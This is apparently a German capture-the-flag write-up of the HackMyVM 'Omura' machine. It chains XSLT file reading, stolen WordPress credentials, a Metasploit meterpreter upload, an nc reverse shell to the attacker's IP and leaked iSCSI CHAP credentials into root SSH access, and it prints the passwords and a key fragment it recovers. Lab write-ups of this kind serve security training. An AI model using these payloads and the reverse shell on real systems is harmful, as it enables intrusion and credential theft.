Omura - HackMyVM - Hard - Bericht

Web Enumeration (Port 80 - XSLT)

HTTP/1.1 200 OK
Date: Tue, 11 Apr 2023 12:08:38 GMT
Server: Apache/2.4.54 (Debian)
Content-Type: text/html; charset=UTF-8

*

**Analyse:** `curl -I` ruft die HTTP-Header der Startseite ab.

**Bewertung:** Bestätigt den `200 OK`-Status und den `Content-Type`. Keine auffälligen Header.

**Empfehlung (Pentester):** Inhalt der Seite analysieren.
**Empfehlung (Admin):** Keine.

===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://192.168.2.126
[...]
===============================================================
[... Zeitstempel ...] Starting gobuster
===============================================================
http://192.168.2.126/index.php            [Size: 795]
http://192.168.2.126/process.php          [Size: 0] <-- Wahrscheinlicher Verarbeitungs-Endpunkt! -->
[...] (Keine weiteren relevanten Funde im Log)
===============================================================
[... Zeitstempel ...] Finished
===============================================================

=

**Analyse:** Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf Port 80 zu suchen. Es testet viele Erweiterungen (`-x`) und blendet 403/404-Fehler aus (`-b`). `-n` unterdrückt Statuscodes in der Ausgabe, `-k` ignoriert SSL-Fehler (hier irrelevant).

**Bewertung:** Findet zwei PHP-Dateien: `index.php` (die Hauptseite) und `process.php`. `process.php` ist besonders interessant, da sie wahrscheinlich die im Titel erwähnte XSLT-Transformation durchführt.

**Empfehlung (Pentester):** Analysieren Sie die `index.php`, um zu verstehen, wie Daten an `process.php` gesendet werden (Formular? Parameter?). Untersuchen Sie `process.php` auf Schwachstellen, insbesondere im Kontext der XSLT-Verarbeitung.
**Empfehlung (Admin):** Stellen Sie sicher, dass `process.php` Benutzereingaben (XML, XSL) sicher verarbeitet und gegen XSLT-spezifische Angriffe (XXE, LFI, RCE) gehärtet ist.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        80
+ Start Time:         2023-04-11 14:08:49 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 26640 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-04-11 14:12:10 (GMT2) (201 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

=

**Analyse:** Nikto (`-C all` für umfassende CGI-Prüfung) wird auf Port 80 ausgeführt.

**Bewertung:** Ähnlich wie zuvor findet Nikto nur fehlende Sicherheitsheader und keine kritischen Schwachstellen. Die Meldung über "junk HTTP methods" ist meist von geringer Bedeutung.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Anwendungslogik von `index.php` und `process.php`.
**Empfehlung (Admin):** Implementieren Sie die fehlenden Sicherheitsheader als Best Practice.

http://omura.hmv/ <-- Inhalt der index.php -->

Saxon-B-XSLT

Saxon-B-XSLT is an XML transformation engine that allows
converting XML files into different output formats, such
as HTML, PDF, or even other XML files, using XSLT style
sheets.

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

**Analyse:** Der Textinhalt der Startseite (`index.php`) wird angezeigt.

**Bewertung:** Bestätigt explizit die Verwendung von "Saxon-B-XSLT", einer spezifischen XSLT-Engine. Dies unterstreicht die Notwendigkeit, nach bekannten Schwachstellen oder unsicheren Konfigurationen dieser Engine in Kombination mit PHP zu suchen.

**Empfehlung (Pentester):** Recherchieren Sie gezielt nach Schwachstellen in Saxon-B-XSLT unter PHP. Prüfen Sie insbesondere, ob Funktionen wie `document()` oder `unparsed-text()` aktiviert sind und für LFI/XXE missbraucht werden können.
**Empfehlung (Admin):** Stellen Sie sicher, dass die verwendete Saxon-B-Bibliothek aktuell ist und sicher konfiguriert wurde (z.B. Deaktivierung gefährlicher Funktionen, wenn nicht benötigt).

Proof of Concept (XSLT LFI)

**Kurzbeschreibung:** Die Webanwendung unter `/process.php` verarbeitet Benutzereingaben mittels der Saxon-B-XSLT Engine. Diese Implementierung ist anfällig für Local File Inclusion (LFI), da die XSLT-Funktion `unparsed-text()` nicht ausreichend eingeschränkt ist. Ein Angreifer kann eine präparierte XSL-Datei zusammen mit einer beliebigen XML-Datei hochladen oder referenzieren. Die XSL-Datei weist die Engine an, den Inhalt einer lokalen Datei auf dem Server zu lesen und in die Ausgabe der Transformation einzubetten.

**Voraussetzungen:** Netzwerkzugriff auf Port 80, Kenntnis des `process.php`-Endpunkts und der XSLT-Verarbeitung.

**Schritt-für-Schritt-Anleitung:**

1. Erstellen einer einfachen XML-Datei (z.B. `file.xml`) als Eingabe für die Transformation.
2. Erstellen einer bösartigen XSL-Datei (z.B. `read.xsl`), die `unparsed-text('/pfad/zur/datei', 'utf-8')` verwendet, um eine Zieldatei zu lesen.
3. Senden der XML- und XSL-Dateien an den `/process.php`-Endpunkt (die genaue Methode - z.B. POST mit Dateiupload - muss durch Analyse von `index.php` oder Fuzzing ermittelt werden).

**Erwartetes Ergebnis:** Der Inhalt der angeforderten lokalen Datei wird in der HTTP-Antwort von `process.php` zurückgegeben.

**Beweismittel:**

Choose XSL file : <-- Teil der Web-Oberfläche? -->

Choose XML file : <-- Teil der Web-Oberfläche? -->


    
        
        The artist
        Da Company
        10000
        1760
    

**Analyse:** Zeigt den Inhalt einer Beispiel-XML-Datei (`file.xml`), die als Eingabe für die XSLT-Transformation dient.

**Bewertung:** Standard-XML, dient nur als Platzhalter-Eingabe.

Read Local File
read.xsl

**Analyse:** Zeigt den Inhalt einer bösartigen XSL-Datei (`read.xsl`). Sie verwendet die Funktion `unparsed-text('/etc/passwd', 'utf-8')`, um den Inhalt der Datei `/etc/passwd` zu lesen und als Ergebnis der Transformation auszugeben.

**Bewertung:** Dies ist der LFI-Payload. Wenn `process.php` diese XSL-Datei zur Transformation verwendet, wird der Inhalt von `/etc/passwd` zurückgegeben.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
ford:x:1000:1000:,,,:/home/ford:/bin/bash <-- Regulärer Benutzer gefunden! -->

**Analyse:** `curl` wird verwendet, um die Antwort von `process.php` abzurufen, nachdem die XML- und die LFI-XSL-Dateien (aus den vorherigen Schritten) verarbeitet wurden.

**Bewertung:** Die XSLT LFI war erfolgreich! Der Inhalt von `/etc/passwd` wird zurückgegeben. Dies bestätigt die Schwachstelle und liefert eine Liste von Systembenutzern. Besonders interessant ist der Benutzer `ford` (UID 1000) mit einer `/bin/bash`-Shell.

**Empfehlung (Pentester):** Nutzen Sie die LFI-Schwachstelle weiter, um andere sensible Dateien zu lesen: * Konfigurationsdateien (z.B. `/etc/apache2/apache2.conf`, `/var/www/html/index.php`, `/var/www/html/process.php`, mögliche WordPress-Konfigs, SSH-Konfigs). * Private Schlüssel (z.B. `/home/ford/.ssh/id_rsa`, `/root/.ssh/id_rsa`). * Logdateien. * Versuchen Sie, die LFI zu RCE (Remote Code Execution) zu eskalieren, falls die XSLT-Engine dies zulässt (z.B. über PHP-Funktionen, falls PHP im XSLT-Kontext ausgeführt werden kann, was bei Saxon-B oft nicht direkt der Fall ist, aber über Erweiterungen möglich sein könnte).
**Empfehlung (Admin):** Beheben Sie die XSLT-LFI-Schwachstelle dringend! Konfigurieren Sie die Saxon-B-Engine so, dass gefährliche Funktionen wie `unparsed-text` deaktiviert oder auf sichere Verzeichnisse beschränkt sind. Validieren Sie Benutzereingaben für XML/XSL.

 <-- Versuch, Verzeichnis zu lesen -->

 <-- Gezielter Leseversuch -->

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

http://omura.hmv/process.php <-- Ergebnis des zweiten Versuchs -->

define( 'DB_USER', 'admin' );
/ Database password */
define( 'DB_PASSWORD', 'dw42k25MiXT' );
/ Database hostname */
define( 'DB_HOST', 'localhost' );

=

**Analyse:** Die LFI-Schwachstelle wird weiter ausgenutzt. Zuerst wird versucht, das Verzeichnis `/var/www` zu lesen (was mit `unparsed-text` normalerweise nicht direkt funktioniert). Dann wird gezielt versucht, die Datei `/var/www/wordpress/wp-config.php` zu lesen. *Der Pfad `/var/www/wordpress` wurde entweder erraten oder durch vorheriges Auslesen von `/var/www` (falls erfolgreich) oder Apache-Konfigs gefunden.*

**Bewertung:** Der Leseversuch für `wp-config.php` ist erfolgreich! Die Datenbank-Credentials (`admin`:`dw42k25MiXT`) für eine WordPress-Installation werden extrahiert. Dies deutet darauf hin, dass neben der XSLT-Anwendung auch eine WordPress-Seite auf dem Server läuft, möglicherweise als virtueller Host.

**Empfehlung (Pentester):** Suchen Sie nach dem virtuellen Host für die WordPress-Installation (z.B. mittels `wfuzz` VHost-Fuzzing). Versuchen Sie, sich mit den gefundenen Credentials im WordPress-Admin-Backend anzumelden.
**Empfehlung (Admin):** Schützen Sie Konfigurationsdateien durch restriktive Dateiberechtigungen. Vermeiden Sie das Hosting mehrerer kritischer Anwendungen auf demselben Server ohne ausreichende Segmentierung.

**Risikobewertung:** Kritisch. Die XSLT-LFI ermöglicht das Auslesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Zugriff hat, einschließlich sensibler Konfigurationsdateien und potenziell privater Schlüssel.

**Empfehlungen:** Siehe vorherige Admin-Empfehlungen zur Behebung der XSLT-LFI.

VHost & WordPress Enumeration

**Analyse:** Nachdem Datenbank-Credentials für WordPress gefunden wurden, wird nach dem entsprechenden virtuellen Host gesucht und dieser dann untersucht.

[...]
Target: http://omura.hmv/
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000587:   200        127 L    1303 W     28732 Ch    "wordpress"   <-- VHost gefunden! -->
[...]

=

**Analyse:** `wfuzz` wird für VHost-Enumeration verwendet. Es testet Subdomains (`FUZZ.omura.hmv`) als Host-Header gegen die IP des Ziels (`http://omura.hmv` -> `192.168.2.126`). Antworten mit Status 404 oder einer Größe von 795 Bytes (die Größe von `index.php` auf der Hauptseite) werden ignoriert.

**Bewertung:** Der Scan ist erfolgreich und findet den virtuellen Host `wordpress.omura.hmv`, der eine andere Antwort (28732 Chars) als die Standardseite liefert.

**Empfehlung (Pentester):** Fügen Sie den Eintrag `192.168.2.126 wordpress.omura.hmv` zu Ihrer lokalen `/etc/hosts`-Datei hinzu. Greifen Sie auf `http://wordpress.omura.hmv/` zu und versuchen Sie den WordPress-Login mit den gefundenen Credentials.
**Empfehlung (Admin):** Stellen Sie sicher, dass virtuelle Hosts korrekt konfiguriert und gesichert sind.

wordpress.omura.hmv

**Analyse:** Der gefundene virtuelle Host `wordpress.omura.hmv` wird der lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt, um ihn im Browser oder mit Tools aufrufen zu können.

**Bewertung:** Notwendiger Konfigurationsschritt auf der Angreiferseite.

http://wordpress.omura.hmv/wp-login.php

Username: admin
Password: dw42k25MiXT

=

**Analyse:** Versuch, sich über `http://wordpress.omura.hmv/wp-login.php` mit den zuvor via LFI gefundenen Datenbank-Credentials (`admin`:`dw42k25MiXT`) im WordPress-Backend anzumelden.

**Bewertung:** Der Login ist erfolgreich (impliziert durch die nächsten Schritte).

**Empfehlung (Pentester):** Suchen Sie nach Möglichkeiten, über das WordPress-Admin-Backend eine Shell zu erhalten (Plugin-Upload, Theme-Editor, bekannte Schwachstellen).
**Empfehlung (Admin):** Verwenden Sie niemals Datenbank-Passwörter als Admin-Login-Passwörter. Sichern Sie das WP-Admin-Backend.

http://wordpress.omura.hmv/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone

system($GET['cmd']); <-- Versuch, Webshell einzufügen -->

klappte nicht, keine Schreibrechte...

**Analyse:** Es wird versucht, über den Theme-Editor (`theme-editor.php`) eine einfache PHP-Webshell (`system($GET['cmd']);`) in die `404.php`-Datei des aktiven Themes (`twentytwentyone`) einzufügen. Dies ist eine gängige Methode, um RCE über WordPress zu erlangen.

**Bewertung:** Der Versuch schlägt fehl ("klappte nicht, keine Schreibrechte..."). Der Webserver-Benutzer (`www-data`) hat keine Schreibrechte auf die Theme-Dateien, was eine häufige Sicherheitsmaßnahme ist.

**Empfehlung (Pentester):** Versuchen Sie alternative Methoden für RCE über WordPress: * **Plugin-Upload:** Erstellen Sie ein bösartiges Plugin als ZIP-Datei und laden Sie es über "Plugins -> Add New -> Upload Plugin" hoch. * **Exploits:** Suchen Sie mit `wpscan` nach bekannten Schwachstellen in der WordPress-Version oder installierten Plugins/Themes.
**Empfehlung (Admin):** Deaktivieren Sie den Theme- und Plugin-Editor in `wp-config.php` (`define('DISALLOW_FILE_EDIT', true);`). Stellen Sie sicher, dass die Dateiberechtigungen im WordPress-Verzeichnis korrekt gesetzt sind (Webserver sollte keine Schreibrechte auf PHP-Dateien haben).

Initial Access (Metasploit - WordPress)

**Analyse:** Da der manuelle Theme-Editor-Versuch fehlschlug, wird das Metasploit Framework verwendet, um den initialen Zugriff über eine bekannte WordPress-Schwachstelle (Admin Shell Upload) zu automatisieren.

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                   yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain [...]
   RHOSTS                     yes       The target host(s), [...]
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                   yes       The WordPress username to authenticate with
   VHOST                      no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.127    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

PASSWORD => dw42k25MiXT

RHOSTS => wordpress.omura.hmv

username => admin

[*] Started reverse TCP handler on 192.168.2.127:4444
[*] Authenticating with WordPress using admin:dw42k25MiXT...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/SQvtJNQTmI/oxcPMCwtjp.php...
[*] Sending stage (39927 bytes) to 192.168.2.126
[+] Deleted oxcPMCwtjp.php
[+] Deleted SQvtJNQTmI.php
[+] Deleted ../SQvtJNQTmI
[*] Meterpreter session 1 opened (192.168.2.127:4444 -> 192.168.2.126:53888) at 2023-04-11 15:07:52 +0200

**Analyse:** Das Metasploit-Modul `exploit/unix/webapp/wp_admin_shell_upload` wird verwendet. Dieses Modul authentifiziert sich mit den Admin-Credentials, lädt eine Payload als Plugin hoch, führt sie aus und löscht sie anschließend. Die Optionen werden entsprechend gesetzt: `PASSWORD`, `RHOSTS` (der VHost `wordpress.omura.hmv`), `USERNAME`. Als Payload wird der Standard `php/meterpreter/reverse_tcp` verwendet, der auf der Angreifer-IP `192.168.2.127` auf Port `4444` lauscht.

**Bewertung:** Der Exploit ist erfolgreich! Metasploit meldet "Meterpreter session 1 opened". Dies bedeutet, dass eine interaktive Meterpreter-Shell (eine erweiterte Shell mit vielen eingebauten Funktionen) im Kontext des Webserver-Benutzers (`www-data`) auf dem Zielsystem etabliert wurde.

**Empfehlung (Pentester):** Nutzen Sie die Meterpreter-Session, um das System weiter zu enumerieren (`sysinfo`, `getuid`, `pwd`, `ls`, `ps`, `shell` für eine System-Shell) und nach Wegen zur Privilegieneskalation zu suchen.
**Empfehlung (Admin):** Sichern Sie das WordPress-Admin-Backend. Deaktivieren Sie die Möglichkeit, Plugins direkt hochzuladen, wenn dies nicht unbedingt erforderlich ist, und implementieren Sie stattdessen einen sichereren Deployment-Prozess.

Computer    : omura.hmv
OS          : Linux omura.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Meterpreter : php/linux

**Analyse:** Der `sysinfo`-Befehl in Meterpreter liefert grundlegende Systeminformationen.

**Bewertung:** Bestätigt das Betriebssystem (Debian 5.10) und die Architektur.

**Empfehlung (Pentester):** Fahren Sie mit der Enumeration fort, z.B. mit `getuid` und `shell`, um eine reguläre System-Shell zu erhalten.
**Empfehlung (Admin):** Keine.

*(Hinweis: Die folgenden Abschnitte über manuelles Plugin-Upload scheinen ein alternativer, fehlgeschlagener Versuch oder eine nachträgliche Dokumentation zu sein, da der Metasploit-Exploit bereits erfolgreich war. Der Bericht folgt nun dem Weg über die (wahrscheinlich aus Meterpreter gespawnte) System-Shell.)*

www-data@omura:/tmp$ nc -e /bin/bash 192.168.2.127 9001

listening on [any] 9001 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.126] 44378

**Analyse:** Es wird versucht, aus dem `www-data`-Kontext (vermutlich aus einer durch Meterpreter geöffneten Shell) eine `nc -e` Reverse Shell zu starten.

**Bewertung:** Der Listener empfängt eine Verbindung, was darauf hindeutet, dass `nc -e` hier funktionierte oder ein anderer Mechanismus (wie der Metasploit-Payload selbst) diese Verbindung parallel aufbaute. Eine einfache Shell wurde erhalten.

*
                                               Stabilisiere Reverse Shell
=

www-data@omura:/tmp$ export TERM=xterm
export TERM=xterm
www-data@omura:/tmp$ ^Z
zsh: suspended  nc -nlvp 9001

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# stty raw -echo;fg
[1]  + continued  nc -nlvp 9001
                               reset

www-data@omura:/tmp$

**Analyse:** Die erhaltene `nc`-Shell wird mit der Standardmethode stabilisiert.

**Bewertung:** Eine stabile `www-data`-Shell steht nun zur Verfügung.

Privilege Escalation (www-data -> root via iSCSI)

**Analyse:** Als `www-data` wird nach Möglichkeiten zur Root-Eskalation gesucht. Der Fokus liegt auf dem iSCSI-Dienst.

[...]
[sudo] password for www-data:
sudo: a password is required

**Analyse:** `sudo -l` erfordert ein Passwort, das nicht bekannt ist.

**Bewertung:** Sudo ist keine direkte Option für `www-data`.

State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process
LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*      <-- MySQL lokal
LISTEN   0        128              0.0.0.0:22            0.0.0.0:*      <-- SSH
LISTEN   0        256              0.0.0.0:3260          0.0.0.0:*      <-- iSCSI
LISTEN   0        511                    *:80                  *:*      <-- Apache/Nginx
LISTEN   0        128                 [::]:22               [::]:*      <-- SSH IPv6

**Analyse:** `ss -altpn` listet die lauschenden TCP-Ports auf.

**Bewertung:** Bestätigt die von Nmap gefundenen Ports (22, 80, 3260) und zeigt zusätzlich einen MySQL-Server auf Port 3306, der nur lokal erreichbar ist (127.0.0.1). Die WordPress-Credentials (`admin`:`dw42k25MiXT`) könnten für diesen MySQL-Server gültig sein.

**Empfehlung (Pentester):** Der iSCSI-Dienst ist weiterhin interessant. Versuchen Sie, Konfigurationsdateien für iSCSI zu finden, die möglicherweise Credentials enthalten.
**Empfehlung (Admin):** Beschränken Sie den Zugriff auf Datenbanken auf notwendige Benutzer und Hosts.

ls: cannot open directory '.': Permission denied

              "chap_password": "gTQynqDRAyqvny7AbpeZ1Vi6e",
              "chap_userid": "root",
              "mapped_luns": [
                {
                  "alias": "a8a39c9925",
                  "index": 0,
                  "tpg_lun": 0,
                  "write_protect": false
       }
              ],
              "node_wwn": "iqn.2023-02.omura.hmv:node01.initiator01" <-- Erlaubter Initiator -->
            }
          ],
[...]

**Analyse:** Nach Recherche (`man targetcli`) wird das iSCSI-Konfigurationsverzeichnis `/etc/rtslib-fb-target/` anvisiert. Obwohl `ls -la` fehlschlägt, gelingt es `www-data`, die Konfigurationsdatei `saveconfig.json` nach `/tmp` zu kopieren und deren Inhalt auszulesen.

**Bewertung:** Ein entscheidendes Informationsleck aufgrund falscher Dateiberechtigungen! Die `saveconfig.json` enthält im Klartext: * Den CHAP-Benutzernamen: `root` * Das CHAP-Passwort: `gTQynqDRAyqvny7AbpeZ1Vi6e` * Den erlaubten Initiator-Namen (WWN): `iqn.2023-02.omura.hmv:node01.initiator01`

**Empfehlung (Pentester):** Verwenden Sie diese Informationen, um von Ihrer Angreifer-Maschine aus eine Verbindung zum iSCSI-Target herzustellen: 1. Installieren Sie den `open-iscsi`-Client. 2. Konfigurieren Sie Ihren lokalen Initiator-Namen auf den erlaubten Wert. 3. Konfigurieren Sie die CHAP-Credentials (`root` / `gTQynqDRAyqvny7AbpeZ1Vi6e`). 4. Entdecken und verbinden Sie sich mit dem iSCSI-Target. 5. Mounten Sie das bereitgestellte Laufwerk und suchen Sie nach sensiblen Daten (z.B. SSH-Schlüssel).
**Empfehlung (Admin):** Korrigieren Sie sofort die Dateiberechtigungen für `/etc/rtslib-fb-target/saveconfig.json`, sodass sie nur von Root gelesen werden kann. Verwenden Sie starke, einzigartige CHAP-Passwörter.

InitiatorName=iqn.2023-02.omura.hmv:node01.initiator01

node.session.auth.authmethod = CHAP
[...]
node.session.auth.username = root
node.session.auth.password = gTQynqDRAyqvny7AbpeZ1Vi6e

**Analyse:** Auf der Angreifer-Maschine werden die notwendigen Schritte zur Konfiguration des iSCSI-Clients durchgeführt: `open-iscsi` installieren, den eigenen Initiator-Namen auf den erlaubten Namen setzen und die CHAP-Credentials in `iscsid.conf` eintragen. Der Dienst wird neu gestartet.

**Bewertung:** Korrekte Vorbereitung auf der Angreiferseite, um sich am iSCSI-Target zu authentifizieren.

192.168.2.126:3260,1 iqn.2023-02.omura.hmv:target01

Logging in to [iface: default, target: iqn.2023-02.omura.hmv:target01, portal: 192.168.2.126,3260]
Login to [iface: default, target: iqn.2023-02.omura.hmv:target01, portal: 192.168.2.126,3260] successful.

**Analyse:** Der `iscsiadm`-Befehl wird verwendet, um zuerst das Ziel zu entdecken (`discovery`) und sich dann damit zu verbinden (`login`).

**Bewertung:** Das Discovery findet das Target, und der Login ist erfolgreich. Das iSCSI-Laufwerk ist nun auf der Angreifer-Maschine verfügbar.

**Empfehlung (Pentester):** Prüfen Sie mit `lsblk` oder `fdisk -l`, welches neue Gerät hinzugefügt wurde.
**Empfehlung (Admin):** Keine.

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
sda      8:0    0 203,5G  0 disk
├─sda1   8:1    0 202,5G  0 part /
├─sda2   8:2    0     1K  0 part
└─sda5   8:5    0   975M  0 part [SWAP]
sdb      8:16   0     5M  0 disk <-- Neues iSCSI Laufwerk! -->
sr0     11:0    1  1024M  0 rom

**Analyse:** `lsblk` zeigt die verfügbaren Blockgeräte an.

**Bewertung:** Ein neues Gerät `/dev/sdb` mit einer Größe von 5MB ist sichtbar. Dies ist das gemountete iSCSI-Laufwerk.

**Empfehlung (Pentester):** Erstellen Sie ein Mount-Verzeichnis und mounten Sie `/dev/sdb`.
**Empfehlung (Admin):** Keine.

*

insgesamt 28
drwxr-xr-x  2 root root  1024 11. Feb 19:01 .
drwx------ 18 root root 20480 11. Apr 15:55 ..
-rw-------  1 root root  2602 11. Feb 19:01 id_rsa <-- Privater SSH-Schlüssel! -->

**Analyse:** Das iSCSI-Laufwerk `/dev/sdb` wird in das Verzeichnis `~/disk` gemountet. Der Inhalt wird aufgelistet.

**Bewertung:** Das Laufwerk enthält eine einzelne Datei: `id_rsa`. Die Berechtigungen (`-rw-------`) und der Name deuten stark darauf hin, dass dies der private SSH-Schlüssel des Root-Benutzers ist!

**Empfehlung (Pentester):** Kopieren Sie die `id_rsa`-Datei. Setzen Sie die Berechtigungen lokal auf `600`. Verwenden Sie diesen Schlüssel, um sich per SSH als `root` am Zielsystem anzumelden.
**Empfehlung (Admin):** Niemals private Schlüssel auf iSCSI-Laufwerken speichern, die über (potenziell unsichere) CHAP-Credentials zugänglich sind. Root-Login über SSH sollte idealerweise deaktiviert oder nur mit Schlüsseln erlaubt sein.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...] (Langer Schlüsselblock für Root)
-----END OPENSSH PRIVATE KEY-----

The authenticity of host 'omura.hmv (192.168.2.126)' can't be established.
[...] (Host Key Prompt)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'omura.hmv' (ED25519) to the list of known hosts.
Linux omura.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
[...] (Login Banner)
root@omura:~# <-- Root Login erfolgreich! -->

**Analyse:** Der private Schlüssel wird angezeigt. Die Berechtigungen werden lokal auf `600` gesetzt. Anschließend wird `ssh` verwendet, um sich als `root` am Zielsystem (`omura.hmv`) mit dem gefundenen Schlüssel (`-i id_rsa`) anzumelden.

**Bewertung:** Der Root-Login via SSH mit dem Schlüssel ist erfolgreich! Die Privilegieneskalation ist abgeschlossen.

**Empfehlung (Pentester):** Lesen Sie die Root- und User-Flags.
**Empfehlung (Admin):** Der Root-SSH-Schlüssel ist kompromittiert und muss ausgetauscht werden. Deaktivieren Sie den Root-SSH-Login oder beschränken Sie ihn auf Schlüssel-Authentifizierung mit sicheren Schlüsseln. Beheben Sie das iSCSI-Credential-Leck.

052cf26a6e7e33790391c0d869e2e40c

cf7ddf6fa6393b8e7aef2396451fefdd

**Analyse:** Aus der Root-Shell werden die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/ford/user.txt`) ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden.

                                                   Privilege Escalation erfolgreich

**Analyse:** Auf der Angreifer-Maschine wird das gemountete iSCSI-Laufwerk ausgehängt (`umount`) und das Mount-Verzeichnis entfernt.

**Bewertung:** Aufräumarbeiten nach erfolgreicher Kompromittierung.